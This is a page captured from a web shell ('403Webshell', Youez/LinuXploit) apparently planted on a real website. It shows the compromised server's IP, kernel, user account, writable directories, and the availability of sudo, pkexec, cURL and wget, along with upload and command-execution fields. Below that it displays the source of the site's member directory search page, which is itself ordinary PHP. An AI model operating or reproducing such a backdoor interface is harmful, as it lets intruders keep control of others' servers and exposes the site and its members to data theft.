403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.99
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/mcifa.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/mcifa.com/public_html/CurrentSearch_Result.php
<?php require 'header.php'; ?>
<?php if (isLoggedIn()): ?>

<section id="content" class="sbr">
	<div class="menu-shadow"></div>
	<div class="container clearfix">
		<div class="page-header clearfix" style="margin-bottom: 20px;">
			<h1>Member Directory Search Results</h1>
			<div class="line"></div>
		</div>
		<!--/ .page-header-->

		<section id="main" class="twelve columns">
			<article class="entry clearfix">
				<!--/ .entry-title-->

				<!--/ .preloader-->

				<!--/ .entry-meta-->

				<div class="entry-body">
<?php
$maxRows = 2000;
$db = getReadDb();

$sql = "SELECT DISTINCT users.lname AS ResultField1, users.fname AS ResultField2, users.City AS ResultField3, users.State AS ResultField4, users.Country AS ResultField5, onoff, users.ID AS ID_Field, list
    FROM users
    WHERE 1 = 1";

$params = [];

$fname = isset($_POST['fname']) ? trim($_POST['fname']) : '';
$lname = isset($_POST['lname']) ? trim($_POST['lname']) : '';
$city  = isset($_POST['City']) ? trim($_POST['City']) : '';
$state = isset($_POST['State']) ? trim($_POST['State']) : '';
$country = isset($_POST['Country']) ? trim($_POST['Country']) : '';

if ($fname !== '') {
    $sql .= " AND users.fname LIKE :fname";
    $params[':fname'] = '%' . $fname . '%';
}
if ($lname !== '') {
    $sql .= " AND users.lname LIKE :lname";
    $params[':lname'] = '%' . $lname . '%';
}
if ($city !== '') {
    $sql .= " AND users.City LIKE :city";
    $params[':city'] = '%' . $city . '%';
}
if ($state !== '') {
    $sql .= " AND users.State LIKE :state";
    $params[':state'] = '%' . $state . '%';
}
if ($country !== '') {
    $sql .= " AND users.Country LIKE :country";
    $params[':country'] = '%' . $country . '%';
}

$sql .= " AND list = 'Yes' ORDER BY lname, fname";

$stmt = $db->prepare($sql);
$stmt->execute($params);
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<TABLE width="100%" border=0 cellpadding=3 cellspacing=0>
<TR style="background-color:#cccccc">
    <TD style="padding:4px;" width="20">&nbsp;</TD>
    <TD style="padding:4px;" width="100"><strong>Last</strong></TD>
    <TD style="padding:4px;" width="100"><strong>First</strong></TD>
    <TD style="padding:4px;" width="100"><strong>City</strong></TD>
    <TD style="padding:4px;" width="50"><strong>State</strong></TD>
    <TD style="padding:4px;" width="50"><strong>Country</strong></TD>
</TR>
<?php
$rowCount = 0;
foreach ($results as $row):
    if ($rowCount >= $maxRows) break;
    $bgColor = ($rowCount % 2 === 0) ? '#ffffff' : '#ffffcf';
    $rowCount++;
?>
<TR style="background-color:<?php echo $bgColor; ?>">
    <TD style="padding:4px;"><A href="CurrentSearch_Detail.php?ID=<?php echo urlencode($row['id_field']); ?>">[detail]</A></TD>
    <TD style="padding:4px;"><?php echo h($row['resultfield1']); ?></TD>
    <TD style="padding:4px;"><?php echo h($row['resultfield2']); ?></TD>
    <TD style="padding:4px;"><?php echo h($row['resultfield3']); ?></TD>
    <TD style="padding:4px;"><?php echo h($row['resultfield4']); ?></TD>
    <TD style="padding:4px;"><?php echo h($row['resultfield5']); ?></TD>
</TR>
<?php endforeach; ?>
</TABLE></center>

						<!--/ .about-author-->

				</div>
				<!--/ .entry-body-->

			</article>
			<!--/ .entry-->
		</section>				<!--/ #main-->
<?php endif; ?>

<?php require 'sidebar.php'; ?>



<?php require 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit